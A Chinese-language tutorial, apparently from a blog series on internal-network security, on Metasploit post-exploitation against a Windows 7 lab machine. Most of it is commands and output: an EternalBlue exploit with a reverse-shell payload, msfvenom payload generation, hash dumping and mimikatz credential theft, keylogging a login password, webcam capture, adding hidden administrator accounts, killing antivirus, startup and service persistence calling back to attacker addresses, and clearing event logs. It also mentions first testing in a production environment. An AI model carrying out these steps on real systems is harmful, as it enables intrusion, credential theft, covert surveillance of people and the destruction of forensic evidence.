内网安全系列-003-MSF后渗透阶段

MSF后渗透阶段

运行攻击成功之后,我们将会看到命令提示符 meterpreter出现:

切换到目标主机的windows shell: shell

image-20240903135728525

要想从目标主机shell退出到 meterpreter:exit

image-20240903135708163

从 meterpreter 退出到MSF框架:background

image-20240903135750850

从msf切换回meterpreter:sessions -i

image-20240903140501461

查看我们获得的shell,在meterpreter下输入如下命令(前面有id): sessions -l

根据输出Session列表,选择对应Session的方法(如案例所示,即可切换到id为1的shell): sessions -i 1

1
2
3
4
5
6
7
8
9
10
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.244.135-192.168.244.145
exploit
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.244.143
set LHOST 192.168.244.135
set LPORT 4466
show options
exploit

image-20240903134729447

image-20240903134823517

出现乱码我们可以输入chcp 65001来解决,在shell终端执行chcp 65001来解决:

image-20240903134936210

在meterpreter上可以使用的命令有:

需求 命令
查看目标主机系统信息 sysinfo
查看目标主机详细信息 run scraper
导出密码的哈希 run hashdump
加载mimikatz load kiwi
查看目标主机进程信息 ps
查看目标当前目录(windows) pwd
查看目标当前目录(Linux) getlwd
搜索C盘的C:\Users\test\Desktop中所有以.exe为后缀的文件 search -f *.exe -d C:\Users\test\Desktop
将目标机的C:\\Users\\test\\Desktop\\payload.exe文件下载到/tmp目录下 download C:\\Users\\test\\Desktop\\payload.exe /tmp/
将/tmp/test.txt上传到目标机的 C:\Users\test\Desktop目录下 upload /tmp/test.txt C:\Users\test\Desktop
查看当前Meterpreter Shell的进程PID getpid
将当前Meterpreter Shell的进程迁移到PID为1384的进程上 migrate 1384
查看主机运行时间 idletime
查看获取的当前权限 getuid
提权,获得的当前用户是administrator才能成功 getsystem
关闭杀毒软件 run killav
截图 screenshot
查看目标主机的摄像头 webcam_list
拍照 webcam_snap
开视频 webcam_stream
执行可执行程序 execute 参数 -f 可执行文件
创建hack用户,密码为123 run getgui -u hack -p 123
开启远程桌面 run getgui -e
开启键盘记录功能 keyscan_start
显示捕捉到的键盘记录信息 keyscan_dump
停止键盘记录功能 keyscan_stop
禁止目标使用键盘 uictl disable keyboard
允许目标使用键盘 uictl enable keyboard
禁止目标使用鼠标 uictl disable mouse
允许目标使用鼠标 uictl enable mouse
使用扩展库 load
使用扩展库 run
反弹时间间隔是5s 会自动连接192.168.27的8888端口,缺点是容易被杀毒软件查杀 run persistence -X -i 5 -p 8888 -r 192.168.10.27
将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址 portfwd add -l 3389 -r 192.168.11.13 -p 3389
清除日志 clearev

查看系统信息与主机详细信息:

image-20240903142717287

导出密码哈希与查看进程:

image-20240903142739823

文件查找:

1
search -f *.exe -d C:\\Users\\test\\Desktop

image-20240903142753583

文件下载:

1
2
3
4
5
meterpreter > download C:\\Users\\test\\Desktop\\payload.exe /tmp/
[*] Downloading: C:\Users\test\Desktop\payload.exe -> /tmp/payload.exe
[*] Downloaded 72.07 KiB of 72.07 KiB (100.0%): C:\Users\test\Desktop\payload.exe -> /tmp/payload.exe
[*] Completed : C:\Users\test\Desktop\payload.exe -> /tmp/payload.exe
meterpreter >

文件上传与查看:

image-20240903143250884

image-20240903143507305

屏幕截图:

image-20240903144109480

image-20240903144056832

执行程序:

image-20240903144224319

image-20240903144438764

创建用户:run getgui -u gtmc -p 123

1
2
3
4
5
6
7
8
meterpreter > run getgui -u gtmc -p 123

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[-] The specified meterpreter session script could not be found: getgui
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

从中可以看出:run post/windows/manage/enable_rdp OPTION=value [...]命令执行失败,即使权限够了也无法正确执行。

run post/windows/manage/enable_rdp USERNAME=用户名 PASSWORD=密码,这个指令更加稳定:

image-20240903145243519

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > run post/windows/manage/enable_rdp USERNAME=gtmc PASSWORD=123

[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: gtmc with Password: 123
[*] Adding User: gtmc to local group 'Remote Desktop Users'
[*] Hiding user from Windows Login screen
[*] Adding User: gtmc to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup execute Meterpreter resource file: /home/kali/.msf4/loot/20240903025223_default_192.168.244.143_host.windows.cle_688528.txt
meterpreter >

开启远程桌面:run post/windows/manage/enable_rdp

image-20240903145523696

键盘相关功能:要先migrate到想要监听的对应的进程,如监听用户登录时输入的密码,就需要migrate到winlogon.exe进程。关于键盘功能,后面会详细介绍。

Post后渗透模块

该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

1
2
3
4
5
6
7
8
9
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash

输入:sysinfo 查看目标主机的信息

查看主机是否运行在虚拟机上

1
run post/windows/gather/checkvm

关闭杀毒软件

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

1
run killav

报错:信息中提示建议使用run post/windows/manage/killav OPTION=value [...]命令

1
2
3
4
5
meterpreter > run killav

[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]
[-] The specified meterpreter session script could not be found: killav

访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:

需求 命令
切换目标目录 cd
读取文件内容 cat
删除文件 rm
使用vim编辑文件 edit
获取当前目录下的文件 ls
新建目录 mkdir
删除目录 rmdir

上传/下载文件

download file 命令可以帮助我们从目标系统中下载文件

upload file 命令则能够向目标系统上传文件。

权限提升

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个getsystem 命令,它可以使用多种技术在目标系统中实现提权。

getuid 命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户权限为NTAUTHORITY\SYSTEM ,这个也就是Windows的系统权限。

注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!

获取用户密码

1
2
3
4
5
6
7
8
9
##抓取自动登录的密码
run windows/gather/credentials/windows_autologin
##导出密码哈希
## hashdump 模块可以从SAM数据库中导出本地用户账号,执行:
run hashdump或run windows/gather/smart_hashdump
该命令的使用需要系统权限
##亦或者上传mimikatz程序,先getsystem提权至系统权限,然后执行 execute -i -f mimikatz.exe,进入mimikatz的交互界面
privilege::debug
sekurlsa::logonpasswords

为了测试凭据相关的功能,需要先建立一个shell:

1
2
3
4
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.244.135
set LPORT 8888

image-20240903155810208

生成payload:

1
msfvenom --platform windows -a x64 -p windows/meterpreter/reverse_tcp LHOST=192.168.244.135 LPORT=8888 -f exe -o payload_8888.exe

image-20240903155837895

为了实验顺利,管理员身份运行payload.exe,成功建立连接并进行提权:

image-20240903160039209

使用run post/windows/gather/smart_hashdump命令捕获哈希:

image-20240903160310526

image-20240903160437427

上传猕猴桃并执行:

image-20240903161151720

在目标电脑会弹窗:

image-20240903161309544

注意:即使提权了,也无法使用猕猴桃提取哈希值

image-20240903161440195

以上是在生产环境中的基本测试。为了不影响生产环境,搭建一个本地环境:实验环境说明:

资产类型 IP地址 资产来源 资产角色
windows7 192.168.244.143 itellyou 被攻击机器
kali 192.168.244.135 kali 官方下载 攻击机器
msf6 安装在kali上 - 攻击工具
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
meterpreter > help kiwi

Kiwi Commands
=============

Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_livessp Retrieve Live SSP creds
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitrary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)
需求 命令
加载kiwi模块 load kiwi
查看kiwi模块的使用 help kiwi
列举所有凭据 creds_all
列举所有kerberos凭据 creds_kerberos
列举所有msv凭据 creds_msv
列举所有ssp凭据 creds_ssp
列举所有tspkg凭据 creds_tspkg
列举所有wdigest凭据 creds_wdigest
通过DCSync检索用户帐户信息(需要有域环境) dcsync
通过DCSync检索用户帐户NTLM散列、SID和RID(需要有域环境) dcsync_ntlm
创建黄金票据(需要有域环境) golden_ticket_create
列举kerberos票据(需要有域环境) kerberos_ticket_list
清除kerberos票据(需要有域环境) kerberos_ticket_purge
使用kerberos票据(需要有域环境) kerberos_ticket_use
执行mimikatz的命令,后面接mimikatz.exe的命令 kiwi_cmd
dump出lsa的SAM lsa_dump_sam
dump出lsa的密文 lsa_dump_secrets
修改密码 password_change
列出当前用户的wifi配置文件 wifi_list
列出共享wifi配置文件/编码 wifi_list_shared

image-20240903201236137

image-20240903201258631

image-20240903201506776

image-20240903201631429

image-20240903201639411

image-20240903201749267

kiwi_cmd

1
2
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
kiwi_cmd sekurlsa::logonpasswords

注意 kb2871997 补丁。

运行程序

先查看目标主机安装了哪些应用

1
run post/windows/gather/enum_applications

image-20240903202119266

我们还可以使用 execute 命令在目标系统中执行应用程序。这个命令的使用方法如下:

1
execute 参数 -f 可执行文件

运行后它将执行所指定的命令。可选参数如下:

需求 参数
-f 指定可执行文件
-H 创建一个隐藏进程
-a 传递给命令的参数
-i 跟进程进行交互
-m 从内存中执行
-t 使用当前伪造的线程令牌运行进程
-s 在给定会话中执行进程

image-20240903202154386

屏幕截图

输入:screenshot ,截图目标主机屏幕,可以看到,图片被保存到了 /root 目录下,注意我们要用用户权限,System帐户是不可以的。

image-20240903202259090

创建一个新账号

先查看目标主机有哪些用户

1
run post/windows/gather/enum_logged_on_users

image-20240903202342517

接下来,我们可以在目标系统中创建一个新的用户账号:run getgui -u gtmc -p 123,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。

如果无法创建用户,可以改用该命令:

1
run post/windows/manage/enable_rdp USERNAME=gtmc PASSWORD=123

成功创建了用户并且用户自动添加到administrators组中。

如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

1
net localgroup administrators gtmc /add

image-20240903202539786

备注:添加失败,因为用户之前已经添加过了。

image-20240903202734047

启用远程桌面

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui 脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入:

1
run getgui -e 或者 run post/windows/manage/enable_rdp

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime

然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。

image-20240903203030781

image-20240903203102801

备注:DHCP地址刷新了,从143变成了145。接下来把win7的IP地址固定未143。

键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

需求 命令
开启键盘记录功能 keyscan_start
显示捕捉到的键盘记录信息 keyscan_dump
停止键盘记录功能 keyscan_stop

不过在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。

进程迁移

Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

首先,我们需要使用: ps 命令查看目标设备中运行的进程

我们可以使用: getpid 查看我们当前的进程id

使用: migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。

或者使用自动迁移进程(run post/windows/manage/migrate )命令,系统会自动寻找合适的进程然后迁移。。

image-20240903205120417

绑定完成之后,我们就可以开始捕获键盘数据了,可以看到,用户输入了数据,我们可以根据此项来进行二次钓鱼欺骗等操作。

先锁定账户:

image-20240903205256064

接着开启键盘记录:

1
2
keyscan_start
keyscan_dump

然后重新登录test用户:

image-20240903205348148

再次执行keyscan_dump命令,可以看到登录test用户时的密码:

image-20240903205223424

禁止目标主机使用键盘鼠标

需求 命令
禁止(允许)目标使用键盘: uictl disable (enable) keyboard
禁止(允许)目标使用鼠标 uictl disable (enable) mouse

用目标主机摄像头拍照

需求 命令
获取目标系统的摄像头列表 webcam_list
从指定的摄像头,拍摄照片 webcam_snap
从指定的摄像头,开启视频 webcam_stream

image-20240903210601983

拍摄的照片与摄像头,分别访问上图中的jpeg图片路径与html文件路径,即可看到图片和摄像头直播。

使用扩展库

输入 load 或者 run 然后按两次Tab键

image-20240903210857823

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。

建立持续性后门有两种方法,一种是通过启动项启动(persistence) 一种是通过 服务启动(metsvc)。

启动项启动

启动项启动的话,我们先生成一个后门工具。

然后放到windows的启动目录中:

1
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。

image-20240903225455464

1
2
3
meterpreter > upload /home/kali/payload_8888.exe C:\\Users\\test\\AppData\\Roaming\\Microsoft\\Windows\\Start\ Menu\\Programs\\Startup
[*] Uploading : /home/kali/payload_8888.exe -> C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload_8888.exe
[*] Completed : /home/kali/payload_8888.exe -> C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload_8888.exe

在获得win7(192.168.244.143)的meterpreter会话后,将之前生成的payload_8888.exe文件上传到win7服务器的启动项目录:

1
upload /home/kali/payload_8888.exe C:\\Users\\test\\AppData\\Roaming\\Microsoft\\Windows\\Start\ Menu\\Programs\\Startup

image-20240903225436052

备注:payload_8888.exe生成方式

1
msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.244.135 lport=8888 -f exe -o payload_8888.exe

在kali上开启监听:

image-20240903230715820

重启win7,并登录test用户:
image-20240903230741657

后门维持成功。

服务启动

通过服务启动,我们可以运行命令

1
2
3
run persistence -X -i 5 -p 4446 -r 192.168.0.104 

反弹时间间隔是5s 会自动连接 192.168.0.104的4446端口,缺点是容易被杀毒软件查杀,然后它就在目标机新建了这个文件:C:\Windows\TEMP\jRBGTRRznuL.vbs ,并把该服务加入了注册表中,只要开机就会启动

清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,

因此我们需要在完成攻击之后使用命令 clearev 命令来清除事件日志:

image-20240903230953092

image-20240903231228286

导入并执行PowerShell脚本

需求 命令
加载powershell功能 load powershell
导入powershell脚本,提前将该powershell脚本放到指定目录 powershell_import /root/PowerView.ps1
执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块 powershell_execute Get-NetDomain
该功能模块用于定位域管理员登录的主机 powershell_execute Invoke-UserHunter
该模块用于定位域信息 powershell_execute Get-NetForest
查看本地组 powershell_execute Get-NetLocalGroup
枚举本地(或远程)机器上的本地组 powershell_execute Get-NetLocalGroup
枚举本地(或远程)机器上特定本地组的成员 powershell_execute Get-NetLocalGroupMember
返回本地(或远程)机器上的打开共享 powershell_execute Get-NetShare
返回登录本地(或远程)机器的用户 powershell_execute Get-NetLoggedon
返回本地(或远程)机器的会话信息 powershell_execute Get-NetSession

如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户

Meterpreter的更多用法

文件系统命令

需求 命令
将文件内容读到屏幕上 cat
更改目录 cd
列出文件 dir
下载文件或目录 download
编辑文件 edit
打印本地工作目录 getlwd
打印工作目录 getwd
更改本地工作目录 lcd
打印本地工作目录 lpwd
列出文件 ls
制作目录 mkdir
将源移动到目标 mv
打印工作目录 pwd
删除指定文件 rm
删除目录 rmdir
搜索文件 search
列出所有挂载点/逻辑驱动器 show_mount
上传文件或目录 upload

网络命令

需求 命令
清除事件日志 clearev
放弃任何活动的模拟令牌 drop_token
执行命令 execute
获取一个或多个环境变量值 getenv
获取当前进程标识符 getpid
尝试启用当前进程可用的所有权限 getprivs
获取服务器运行的用户的 SID getsid
获取服务器运行的用户 getuid
终止进程 kill
列出正在运行的进程 ps
重启远程计算机 reboot
修改远程注册表并与之交互 reg
在远程机器上调用 RevertToSelf() rev2self
放入系统命令 shell shell
关闭远程计算机 shutdown
尝试从目标进程窃取模拟令牌 steal_token
暂停或恢复进程列表 suspend
获取有关远程系统的信息,例如 OS sysinfo

用户界面命令

需求 命令
列出所有可访问的桌面和工作站 enumdesktops
获取当前的meterpreter桌面 getdesktop
返回远程用户空闲的秒数 idletime
转储键盘记录数据 keyscan_dump
开始键盘记录 keyscan_start
停止键盘记录 keyscan_stop
抓取交互式桌面的截图 screenshot
更改meterpreters当前桌面 setdesktop
控制一些用户界面组件 uictl

摄像头命令

需求 命令
从默认麦克风录制音频 record_mic
开启视频 webcam_chat
列出网络摄像头 webcam_list
从指定的网络摄像头拍摄快照 webcam_snap
从指定的网络摄像头播放视频流 webcam_stream

提权命令

1
getsystem #尝试将您的权限提升到本地系统的权限

密码

1
hashdump #转储SAM 数据库的内容